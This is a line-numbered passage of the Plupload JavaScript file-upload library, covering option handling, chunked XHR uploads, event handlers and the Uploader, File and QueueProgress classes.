1221 case 'chunk_size':
1222 if (value = plupload.parseSize(value)) {
1223 settings[option] = value;
1224 settings.send_file_name = true;
1225 }
1226 break;
1227
1228 case 'multipart':
1229 settings[option] = value;
1230 if (!value) {
1231 settings.send_file_name = true;
1232 }
1233 break;
1234
1235 case 'unique_names':
1236 settings[option] = value;
1237 if (value) {
1238 settings.send_file_name = true;
1239 }
1240 break;
1241
1242 case 'filters':
1243 // for sake of backward compatibility
1244 if (plupload.typeOf(value) === 'array') {
1245 value = {
1246 mime_types: value
1247 };
1248 }
1249
1250 if (init) {
1251 plupload.extend(settings.filters, value);
1252 } else {
1253 settings.filters = value;
1254 }
1255
1256 // if file format filters are being updated, regenerate the matching expressions
1257 if (value.mime_types) {
1258 settings.filters.mime_types.regexp = (function(filters) {
1259 var extensionsRegExp = [];
1260
1261 plupload.each(filters, function(filter) {
1262 plupload.each(filter.extensions.split(/,/), function(ext) {
1263 if (/^\s*\*\s*$/.test(ext)) {
1264 extensionsRegExp.push('\\.*');
1265 } else {
1266 extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&'));
1267 }
1268 });
1269 });
1270
1271 return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i');
1272 }(settings.filters.mime_types));
1273 }
1274 break;
1275
1276 case 'resize':
1277 if (init) {
1278 plupload.extend(settings.resize, value, {
1279 enabled: true
1280 });
1281 } else {
1282 settings.resize = value;
1283 }
1284 break;
1285
1286 case 'prevent_duplicates':
1287 settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value;
1288 break;
1289
1290 // options that require reinitialisation
1291 case 'container':
1292 case 'browse_button':
1293 case 'drop_element':
1294 value = 'container' === option
1295 ? plupload.get(value)
1296 : plupload.getAll(value)
1297 ;
1298
1299 case 'runtimes':
1300 case 'multi_selection':
1301 settings[option] = value;
1302 if (!init) {
1303 reinitRequired = true;
1304 }
1305 break;
1306
1307 default:
1308 settings[option] = value;
1309 }
1310
1311 if (!init) {
1312 self.trigger('OptionChanged', option, value, oldValue);
1313 }
1314 }
1315
1316 if (typeof(option) === 'object') {
1317 plupload.each(option, function(value, option) {
1318 _setOption(option, value, init);
1319 });
1320 } else {
1321 _setOption(option, value, init);
1322 }
1323
1324 if (init) {
1325 // Normalize the list of required capabilities
1326 settings.required_features = normalizeCaps(plupload.extend({}, settings));
1327
1328 // Come up with the list of capabilities that can affect default mode in a multi-mode runtimes
1329 preferred_caps = normalizeCaps(plupload.extend({}, settings, {
1330 required_features: true
1331 }));
1332 } else if (reinitRequired) {
1333 self.trigger('Destroy');
1334
1335 initControls.call(self, settings, function(inited) {
1336 if (inited) {
1337 self.runtime = o.Runtime.getInfo(getRUID()).type;
1338 self.trigger('Init', { runtime: self.runtime });
1339 self.trigger('PostInit');
1340 } else {
1341 self.trigger('Error', {
1342 code : plupload.INIT_ERROR,
1343 message : plupload.translate('Init error.')
1344 });
1345 }
1346 });
1347 }
1348 }
1349
1350
1351 // Internal event handlers
1352 function onBeforeUpload(up, file) {
1353 // Generate unique target filenames
1354 if (up.settings.unique_names) {
1355 var matches = file.name.match(/\.([^.]+)$/), ext = "part";
1356 if (matches) {
1357 ext = matches[1];
1358 }
1359 file.target_name = file.id + '.' + ext;
1360 }
1361 }
1362
1363
1364 function onUploadFile(up, file) {
1365 var url = up.settings.url
1366 , chunkSize = up.settings.chunk_size
1367 , retries = up.settings.max_retries
1368 , features = up.features
1369 , offset = 0
1370 , blob
1371 ;
1372
1373 // make sure we start at a predictable offset
1374 if (file.loaded) {
1375 offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0;
1376 }
1377
1378 function handleError() {
1379 if (retries-- > 0) {
1380 delay(uploadNextChunk, 1000);
1381 } else {
1382 file.loaded = offset; // reset all progress
1383
1384 up.trigger('Error', {
1385 code : plupload.HTTP_ERROR,
1386 message : plupload.translate('HTTP Error.'),
1387 file : file,
1388 response : xhr.responseText,
1389 status : xhr.status,
1390 responseHeaders: xhr.getAllResponseHeaders()
1391 });
1392 }
1393 }
1394
1395 function uploadNextChunk() {
1396 var chunkBlob, formData, args = {}, curChunkSize;
1397
1398 // make sure that file wasn't cancelled and upload is not stopped in general
1399 if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) {
1400 return;
1401 }
1402
1403 // send additional 'name' parameter only if required
1404 if (up.settings.send_file_name) {
1405 args.name = file.target_name || file.name;
1406 }
1407
1408 if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory
1409 curChunkSize = Math.min(chunkSize, blob.size - offset);
1410 chunkBlob = blob.slice(offset, offset + curChunkSize);
1411 } else {
1412 curChunkSize = blob.size;
1413 chunkBlob = blob;
1414 }
1415
1416 // If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller
1417 if (chunkSize && features.chunks) {
1418 // Setup query string arguments
1419 if (up.settings.send_chunk_number) {
1420 args.chunk = Math.ceil(offset / chunkSize);
1421 args.chunks = Math.ceil(blob.size / chunkSize);
1422 } else { // keep support for experimental chunk format, just in case
1423 args.offset = offset;
1424 args.total = blob.size;
1425 }
1426 }
1427
1428 xhr = new o.XMLHttpRequest();
1429
1430 // Do we have upload progress support
1431 if (xhr.upload) {
1432 xhr.upload.onprogress = function(e) {
1433 file.loaded = Math.min(file.size, offset + e.loaded);
1434 up.trigger('UploadProgress', file);
1435 };
1436 }
1437
1438 xhr.onload = function() {
1439 // check if upload made itself through
1440 if (xhr.status >= 400) {
1441 handleError();
1442 return;
1443 }
1444
1445 retries = up.settings.max_retries; // reset the counter
1446
1447 // Handle chunk response
1448 if (curChunkSize < blob.size) {
1449 chunkBlob.destroy();
1450
1451 offset += curChunkSize;
1452 file.loaded = Math.min(offset, blob.size);
1453
1454 up.trigger('ChunkUploaded', file, {
1455 offset : file.loaded,
1456 total : blob.size,
1457 response : xhr.responseText,
1458 status : xhr.status,
1459 responseHeaders: xhr.getAllResponseHeaders()
1460 });
1461
1462 // stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them
1463 if (o.Env.browser === 'Android Browser') {
1464 // doesn't harm in general, but is not required anywhere else
1465 up.trigger('UploadProgress', file);
1466 }
1467 } else {
1468 file.loaded = file.size;
1469 }
1470
1471 chunkBlob = formData = null; // Free memory
1472
1473 // Check if file is uploaded
1474 if (!offset || offset >= blob.size) {
1475 // If file was modified, destory the copy
1476 if (file.size != file.origSize) {
1477 blob.destroy();
1478 blob = null;
1479 }
1480
1481 up.trigger('UploadProgress', file);
1482
1483 file.status = plupload.DONE;
1484
1485 up.trigger('FileUploaded', file, {
1486 response : xhr.responseText,
1487 status : xhr.status,
1488 responseHeaders: xhr.getAllResponseHeaders()
1489 });
1490 } else {
1491 // Still chunks left
1492 delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere
1493 }
1494 };
1495
1496 xhr.onerror = function() {
1497 handleError();
1498 };
1499
1500 xhr.onloadend = function() {
1501 this.destroy();
1502 xhr = null;
1503 };
1504
1505 // Build multipart request
1506 if (up.settings.multipart && features.multipart) {
1507 xhr.open("post", url, true);
1508
1509 // Set custom headers
1510 plupload.each(up.settings.headers, function(value, name) {
1511 xhr.setRequestHeader(name, value);
1512 });
1513
1514 formData = new o.FormData();
1515
1516 // Add multipart params
1517 plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) {
1518 formData.append(name, value);
1519 });
1520
1521 // Add file and send it
1522 formData.append(up.settings.file_data_name, chunkBlob);
1523 xhr.send(formData, {
1524 runtime_order: up.settings.runtimes,
1525 required_caps: up.settings.required_features,
1526 preferred_caps: preferred_caps
1527 });
1528 } else {
1529 // if no multipart, send as binary stream
1530 url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params));
1531
1532 xhr.open("post", url, true);
1533
1534 xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header
1535
1536 // Set custom headers
1537 plupload.each(up.settings.headers, function(value, name) {
1538 xhr.setRequestHeader(name, value);
1539 });
1540
1541 xhr.send(chunkBlob, {
1542 runtime_order: up.settings.runtimes,
1543 required_caps: up.settings.required_features,
1544 preferred_caps: preferred_caps
1545 });
1546 }
1547 }
1548
1549 blob = file.getSource();
1550
1551 // Start uploading chunks
1552 if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) {
1553 // Resize if required
1554 resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) {
1555 blob = resizedBlob;
1556 file.size = resizedBlob.size;
1557 uploadNextChunk();
1558 });
1559 } else {
1560 uploadNextChunk();
1561 }
1562 }
1563
1564
1565 function onUploadProgress(up, file) {
1566 calcFile(file);
1567 }
1568
1569
1570 function onStateChanged(up) {
1571 if (up.state == plupload.STARTED) {
1572 // Get start time to calculate bps
1573 startTime = (+new Date());
1574 } else if (up.state == plupload.STOPPED) {
1575 // Reset currently uploading files
1576 for (var i = up.files.length - 1; i >= 0; i--) {
1577 if (up.files[i].status == plupload.UPLOADING) {
1578 up.files[i].status = plupload.QUEUED;
1579 calc();
1580 }
1581 }
1582 }
1583 }
1584
1585
1586 function onCancelUpload() {
1587 if (xhr) {
1588 xhr.abort();
1589 }
1590 }
1591
1592
1593 function onFileUploaded(up) {
1594 calc();
1595
1596 // Upload next file but detach it from the error event
1597 // since other custom listeners might want to stop the queue
1598 delay(function() {
1599 uploadNext.call(up);
1600 }, 1);
1601 }
1602
1603
1604 function onError(up, err) {
1605 if (err.code === plupload.INIT_ERROR) {
1606 up.destroy();
1607 }
1608 // Set failed status if an error occured on a file
1609 else if (err.code === plupload.HTTP_ERROR) {
1610 err.file.status = plupload.FAILED;
1611 calcFile(err.file);
1612
1613 // Upload next file but detach it from the error event
1614 // since other custom listeners might want to stop the queue
1615 if (up.state == plupload.STARTED) { // upload in progress
1616 up.trigger('CancelUpload');
1617 delay(function() {
1618 uploadNext.call(up);
1619 }, 1);
1620 }
1621 }
1622 }
1623
1624
1625 function onDestroy(up) {
1626 up.stop();
1627
1628 // Purge the queue
1629 plupload.each(files, function(file) {
1630 file.destroy();
1631 });
1632 files = [];
1633
1634 if (fileInputs.length) {
1635 plupload.each(fileInputs, function(fileInput) {
1636 fileInput.destroy();
1637 });
1638 fileInputs = [];
1639 }
1640
1641 if (fileDrops.length) {
1642 plupload.each(fileDrops, function(fileDrop) {
1643 fileDrop.destroy();
1644 });
1645 fileDrops = [];
1646 }
1647
1648 preferred_caps = {};
1649 disabled = false;
1650 startTime = xhr = null;
1651 total.reset();
1652 }
1653
1654
1655 // Default settings
1656 settings = {
1657 runtimes: o.Runtime.order,
1658 max_retries: 0,
1659 chunk_size: 0,
1660 multipart: true,
1661 multi_selection: true,
1662 file_data_name: 'file',
1663 filters: {
1664 mime_types: [],
1665 prevent_duplicates: false,
1666 max_file_size: 0
1667 },
1668 resize: {
1669 enabled: false,
1670 preserve_headers: true,
1671 crop: false
1672 },
1673 send_file_name: true,
1674 send_chunk_number: true
1675 };
1676
1677
1678 setOption.call(this, options, null, true);
1679
1680 // Inital total state
1681 total = new plupload.QueueProgress();
1682
1683 // Add public methods
1684 plupload.extend(this, {
1685
1686 /**
1687 * Unique id for the Uploader instance.
1688 *
1689 * @property id
1690 * @type String
1691 */
1692 id : uid,
1693 uid : uid, // mOxie uses this to differentiate between event targets
1694
1695 /**
1696 * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED.
1697 * These states are controlled by the stop/start methods. The default value is STOPPED.
1698 *
1699 * @property state
1700 * @type Number
1701 */
1702 state : plupload.STOPPED,
1703
1704 /**
1705 * Map of features that are available for the uploader runtime. Features will be filled
1706 * before the init event is called, these features can then be used to alter the UI for the end user.
1707 * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize.
1708 *
1709 * @property features
1710 * @type Object
1711 */
1712 features : {},
1713
1714 /**
1715 * Current runtime name.
1716 *
1717 * @property runtime
1718 * @type String
1719 */
1720 runtime : null,
1721
1722 /**
1723 * Current upload queue, an array of File instances.
1724 *
1725 * @property files
1726 * @type Array
1727 * @see plupload.File
1728 */
1729 files : files,
1730
1731 /**
1732 * Object with name/value settings.
1733 *
1734 * @property settings
1735 * @type Object
1736 */
1737 settings : settings,
1738
1739 /**
1740 * Total progess information. How many files has been uploaded, total percent etc.
1741 *
1742 * @property total
1743 * @type plupload.QueueProgress
1744 */
1745 total : total,
1746
1747
1748 /**
1749 * Initializes the Uploader instance and adds internal event listeners.
1750 *
1751 * @method init
1752 */
1753 init : function() {
1754 var self = this, opt, preinitOpt, err;
1755
1756 preinitOpt = self.getOption('preinit');
1757 if (typeof(preinitOpt) == "function") {
1758 preinitOpt(self);
1759 } else {
1760 plupload.each(preinitOpt, function(func, name) {
1761 self.bind(name, func);
1762 });
1763 }
1764
1765 bindEventListeners.call(self);
1766
1767 // Check for required options
1768 plupload.each(['container', 'browse_button', 'drop_element'], function(el) {
1769 if (self.getOption(el) === null) {
1770 err = {
1771 code : plupload.INIT_ERROR,
1772 message : plupload.translate("'%' specified, but cannot be found.")
1773 }
1774 return false;
1775 }
1776 });
1777
1778 if (err) {
1779 return self.trigger('Error', err);
1780 }
1781
1782
1783 if (!settings.browse_button && !settings.drop_element) {
1784 return self.trigger('Error', {
1785 code : plupload.INIT_ERROR,
1786 message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.")
1787 });
1788 }
1789
1790
1791 initControls.call(self, settings, function(inited) {
1792 var initOpt = self.getOption('init');
1793 if (typeof(initOpt) == "function") {
1794 initOpt(self);
1795 } else {
1796 plupload.each(initOpt, function(func, name) {
1797 self.bind(name, func);
1798 });
1799 }
1800
1801 if (inited) {
1802 self.runtime = o.Runtime.getInfo(getRUID()).type;
1803 self.trigger('Init', { runtime: self.runtime });
1804 self.trigger('PostInit');
1805 } else {
1806 self.trigger('Error', {
1807 code : plupload.INIT_ERROR,
1808 message : plupload.translate('Init error.')
1809 });
1810 }
1811 });
1812 },
1813
1814 /**
1815 * Set the value for the specified option(s).
1816 *
1817 * @method setOption
1818 * @since 2.1
1819 * @param {String|Object} option Name of the option to change or the set of key/value pairs
1820 * @param {Mixed} [value] Value for the option (is ignored, if first argument is object)
1821 */
1822 setOption: function(option, value) {
1823 setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize
1824 },
1825
1826 /**
1827 * Get the value for the specified option or the whole configuration, if not specified.
1828 *
1829 * @method getOption
1830 * @since 2.1
1831 * @param {String} [option] Name of the option to get
1832 * @return {Mixed} Value for the option or the whole set
1833 */
1834 getOption: function(option) {
1835 if (!option) {
1836 return settings;
1837 }
1838 return settings[option];
1839 },
1840
1841 /**
1842 * Refreshes the upload instance by dispatching out a refresh event to all runtimes.
1843 * This would for example reposition flash/silverlight shims on the page.
1844 *
1845 * @method refresh
1846 */
1847 refresh : function() {
1848 if (fileInputs.length) {
1849 plupload.each(fileInputs, function(fileInput) {
1850 fileInput.trigger('Refresh');
1851 });
1852 }
1853 this.trigger('Refresh');
1854 },
1855
1856 /**
1857 * Starts uploading the queued files.
1858 *
1859 * @method start
1860 */
1861 start : function() {
1862 if (this.state != plupload.STARTED) {
1863 this.state = plupload.STARTED;
1864 this.trigger('StateChanged');
1865
1866 uploadNext.call(this);
1867 }
1868 },
1869
1870 /**
1871 * Stops the upload of the queued files.
1872 *
1873 * @method stop
1874 */
1875 stop : function() {
1876 if (this.state != plupload.STOPPED) {
1877 this.state = plupload.STOPPED;
1878 this.trigger('StateChanged');
1879 this.trigger('CancelUpload');
1880 }
1881 },
1882
1883
1884 /**
1885 * Disables/enables browse button on request.
1886 *
1887 * @method disableBrowse
1888 * @param {Boolean} disable Whether to disable or enable (default: true)
1889 */
1890 disableBrowse : function() {
1891 disabled = arguments[0] !== undef ? arguments[0] : true;
1892
1893 if (fileInputs.length) {
1894 plupload.each(fileInputs, function(fileInput) {
1895 fileInput.disable(disabled);
1896 });
1897 }
1898
1899 this.trigger('DisableBrowse', disabled);
1900 },
1901
1902 /**
1903 * Returns the specified file object by id.
1904 *
1905 * @method getFile
1906 * @param {String} id File id to look for.
1907 * @return {plupload.File} File object or undefined if it wasn't found;
1908 */
1909 getFile : function(id) {
1910 var i;
1911 for (i = files.length - 1; i >= 0; i--) {
1912 if (files[i].id === id) {
1913 return files[i];
1914 }
1915 }
1916 },
1917
1918 /**
1919 * Adds file to the queue programmatically. Can be native file, instance of Plupload.File,
1920 * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded,
1921 * if any files were added to the queue. Otherwise nothing happens.
1922 *
1923 * @method addFile
1924 * @since 2.0
1925 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue.
1926 * @param {String} [fileName] If specified, will be used as a name for the file
1927 */
1928 addFile : function(file, fileName) {
1929 var self = this
1930 , queue = []
1931 , filesAdded = []
1932 , ruid
1933 ;
1934
1935 function filterFile(file, cb) {
1936 var queue = [];
1937 o.each(self.settings.filters, function(rule, name) {
1938 if (fileFilters[name]) {
1939 queue.push(function(cb) {
1940 fileFilters[name].call(self, rule, file, function(res) {
1941 cb(!res);
1942 });
1943 });
1944 }
1945 });
1946 o.inSeries(queue, cb);
1947 }
1948
1949 /**
1950 * @method resolveFile
1951 * @private
1952 * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file
1953 */
1954 function resolveFile(file) {
1955 var type = o.typeOf(file);
1956
1957 // o.File
1958 if (file instanceof o.File) {
1959 if (!file.ruid && !file.isDetached()) {
1960 if (!ruid) { // weird case
1961 return false;
1962 }
1963 file.ruid = ruid;
1964 file.connectRuntime(ruid);
1965 }
1966 resolveFile(new plupload.File(file));
1967 }
1968 // o.Blob
1969 else if (file instanceof o.Blob) {
1970 resolveFile(file.getSource());
1971 file.destroy();
1972 }
1973 // plupload.File - final step for other branches
1974 else if (file instanceof plupload.File) {
1975 if (fileName) {
1976 file.name = fileName;
1977 }
1978
1979 queue.push(function(cb) {
1980 // run through the internal and user-defined filters, if any
1981 filterFile(file, function(err) {
1982 if (!err) {
1983 // make files available for the filters by updating the main queue directly
1984 files.push(file);
1985 // collect the files that will be passed to FilesAdded event
1986 filesAdded.push(file);
1987
1988 self.trigger("FileFiltered", file);
1989 }
1990 delay(cb, 1); // do not build up recursions or eventually we might hit the limits
1991 });
1992 });
1993 }
1994 // native File or blob
1995 else if (o.inArray(type, ['file', 'blob']) !== -1) {
1996 resolveFile(new o.File(null, file));
1997 }
1998 // input[type="file"]
1999 else if (type === 'node' && o.typeOf(file.files) === 'filelist') {
2000 // if we are dealing with input[type="file"]
2001 o.each(file.files, resolveFile);
2002 }
2003 // mixed array of any supported types (see above)
2004 else if (type === 'array') {
2005 fileName = null; // should never happen, but unset anyway to avoid funny situations
2006 o.each(file, resolveFile);
2007 }
2008 }
2009
2010 ruid = getRUID();
2011
2012 resolveFile(file);
2013
2014 if (queue.length) {
2015 o.inSeries(queue, function() {
2016 // if any files left after filtration, trigger FilesAdded
2017 if (filesAdded.length) {
2018 self.trigger("FilesAdded", filesAdded);
2019 }
2020 });
2021 }
2022 },
2023
2024 /**
2025 * Removes a specific file.
2026 *
2027 * @method removeFile
2028 * @param {plupload.File|String} file File to remove from queue.
2029 */
2030 removeFile : function(file) {
2031 var id = typeof(file) === 'string' ? file : file.id;
2032
2033 for (var i = files.length - 1; i >= 0; i--) {
2034 if (files[i].id === id) {
2035 return this.splice(i, 1)[0];
2036 }
2037 }
2038 },
2039
2040 /**
2041 * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events.
2042 *
2043 * @method splice
2044 * @param {Number} start (Optional) Start index to remove from.
2045 * @param {Number} length (Optional) Lengh of items to remove.
2046 * @return {Array} Array of files that was removed.
2047 */
2048 splice : function(start, length) {
2049 // Splice and trigger events
2050 var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length);
2051
2052 // if upload is in progress we need to stop it and restart after files are removed
2053 var restartRequired = false;
2054 if (this.state == plupload.STARTED) { // upload in progress
2055 plupload.each(removed, function(file) {
2056 if (file.status === plupload.UPLOADING) {
2057 restartRequired = true; // do not restart, unless file that is being removed is uploading
2058 return false;
2059 }
2060 });
2061
2062 if (restartRequired) {
2063 this.stop();
2064 }
2065 }
2066
2067 this.trigger("FilesRemoved", removed);
2068
2069 // Dispose any resources allocated by those files
2070 plupload.each(removed, function(file) {
2071 file.destroy();
2072 });
2073
2074 if (restartRequired) {
2075 this.start();
2076 }
2077
2078 return removed;
2079 },
2080
2081 /**
2082 Dispatches the specified event name and its arguments to all listeners.
2083
2084 @method trigger
2085 @param {String} name Event name to fire.
2086 @param {Object..} Multiple arguments to pass along to the listener functions.
2087 */
2088
2089 // override the parent method to match Plupload-like event logic
2090 dispatchEvent: function(type) {
2091 var list, args, result;
2092
2093 type = type.toLowerCase();
2094
2095 list = this.hasEventListener(type);
2096
2097 if (list) {
2098 // sort event list by priority
2099 list.sort(function(a, b) { return b.priority - a.priority; });
2100
2101 // first argument should be current plupload.Uploader instance
2102 args = [].slice.call(arguments);
2103 args.shift();
2104 args.unshift(this);
2105
2106 for (var i = 0; i < list.length; i++) {
2107 // Fire event, break chain if false is returned
2108 if (list[i].fn.apply(list[i].scope, args) === false) {
2109 return false;
2110 }
2111 }
2112 }
2113 return true;
2114 },
2115
2116 /**
2117 Check whether uploader has any listeners to the specified event.
2118
2119 @method hasEventListener
2120 @param {String} name Event name to check for.
2121 */
2122
2123
2124 /**
2125 Adds an event listener by name.
2126
2127 @method bind
2128 @param {String} name Event name to listen for.
2129 @param {function} fn Function to call ones the event gets fired.
2130 @param {Object} [scope] Optional scope to execute the specified function in.
2131 @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
2132 */
2133 bind: function(name, fn, scope, priority) {
2134 // adapt moxie EventTarget style to Plupload-like
2135 plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope);
2136 },
2137
2138 /**
2139 Removes the specified event listener.
2140
2141 @method unbind
2142 @param {String} name Name of event to remove.
2143 @param {function} fn Function to remove from listener.
2144 */
2145
2146 /**
2147 Removes all event listeners.
2148
2149 @method unbindAll
2150 */
2151
2152
2153 /**
2154 * Destroys Plupload instance and cleans after itself.
2155 *
2156 * @method destroy
2157 */
2158 destroy : function() {
2159 this.trigger('Destroy');
2160 settings = total = null; // purge these exclusively
2161 this.unbindAll();
2162 }
2163 });
2164};
2165
2166plupload.Uploader.prototype = o.EventTarget.instance;
2167
2168/**
2169 * Constructs a new file instance.
2170 *
2171 * @class File
2172 * @constructor
2173 *
2174 * @param {Object} file Object containing file properties
2175 * @param {String} file.name Name of the file.
2176 * @param {Number} file.size File size.
2177 */
2178plupload.File = (function() {
2179 var filepool = {};
2180
2181 function PluploadFile(file) {
2182
2183 plupload.extend(this, {
2184
2185 /**
2186 * File id this is a globally unique id for the specific file.
2187 *
2188 * @property id
2189 * @type String
2190 */
2191 id: plupload.guid(),
2192
2193 /**
2194 * File name for example "myfile.gif".
2195 *
2196 * @property name
2197 * @type String
2198 */
2199 name: file.name || file.fileName,
2200
2201 /**
2202 * File type, `e.g image/jpeg`
2203 *
2204 * @property type
2205 * @type String
2206 */
2207 type: file.type || '',
2208
2209 /**
2210 * File size in bytes (may change after client-side manupilation).
2211 *
2212 * @property size
2213 * @type Number
2214 */
2215 size: file.size || file.fileSize,
2216
2217 /**
2218 * Original file size in bytes.
2219 *
2220 * @property origSize
2221 * @type Number
2222 */
2223 origSize: file.size || file.fileSize,
2224
2225 /**
2226 * Number of bytes uploaded of the files total size.
2227 *
2228 * @property loaded
2229 * @type Number
2230 */
2231 loaded: 0,
2232
2233 /**
2234 * Number of percentage uploaded of the file.
2235 *
2236 * @property percent
2237 * @type Number
2238 */
2239 percent: 0,
2240
2241 /**
2242 * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE.
2243 *
2244 * @property status
2245 * @type Number
2246 * @see plupload
2247 */
2248 status: plupload.QUEUED,
2249
2250 /**
2251 * Date of last modification.
2252 *
2253 * @property lastModifiedDate
2254 * @type {String}
2255 */
2256 lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
2257
2258 /**
2259 * Returns native window.File object, when it's available.
2260 *
2261 * @method getNative
2262 * @return {window.File} or null, if plupload.File is of different origin
2263 */
2264 getNative: function() {
2265 var file = this.getSource().getSource();
2266 return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null;
2267 },
2268
2269 /**
2270 * Returns mOxie.File - unified wrapper object that can be used across runtimes.
2271 *
2272 * @method getSource
2273 * @return {mOxie.File} or null
2274 */
2275 getSource: function() {
2276 if (!filepool[this.id]) {
2277 return null;
2278 }
2279 return filepool[this.id];
2280 },
2281
2282 /**
2283 * Destroys plupload.File object.
2284 *
2285 * @method destroy
2286 */
2287 destroy: function() {
2288 var src = this.getSource();
2289 if (src) {
2290 src.destroy();
2291 delete filepool[this.id];
2292 }
2293 }
2294 });
2295
2296 filepool[this.id] = file;
2297 }
2298
2299 return PluploadFile;
2300}());
2301
2302
2303/**
2304 * Constructs a queue progress.
2305 *
2306 * @class QueueProgress
2307 * @constructor
2308 */
2309 plupload.QueueProgress = function() {
2310 var self = this; // Setup alias for self to reduce code size when it's compressed
2311
2312 /**
2313 * Total queue file size.
2314 *
2315 * @property size
2316 * @type Number
2317 */
2318 self.size = 0;
2319
2320 /**
2321 * Total bytes uploaded.
2322 *
2323 * @property loaded
2324 * @type Number
2325 */
2326 self.loaded = 0;
2327
2328 /**
2329 * Number of files uploaded.
2330 *
2331 * @property uploaded
2332 * @type Number
2333 */
2334 self.uploaded = 0;
2335
2336 /**
2337 * Number of files failed to upload.
2338 *
2339 * @property failed
2340 * @type Number
2341 */
2342 self.failed = 0;
2343
2344 /**
2345 * Number of files yet to be uploaded.
2346 *
2347 * @property queued
2348 * @type Number
2349 */
2350 self.queued = 0;
2351
2352 /**
2353 * Total percent of the uploaded bytes.
2354 *
2355 * @property percent
2356 * @type Number
2357 */
2358 self.percent = 0;
2359
2360 /**
2361 * Bytes uploaded per second.
2362 *
2363 * @property bytesPerSec
2364 * @type Number
2365 */
2366 self.bytesPerSec = 0;
2367
2368 /**
2369 * Resets the progress to its initial values.
2370 *
2371 * @method reset
2372 */
2373 self.reset = function() {
2374 self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0;
2375 };
2376};
2377
2378window.plupload = plupload;
2379
2380}(window, mOxie));
2381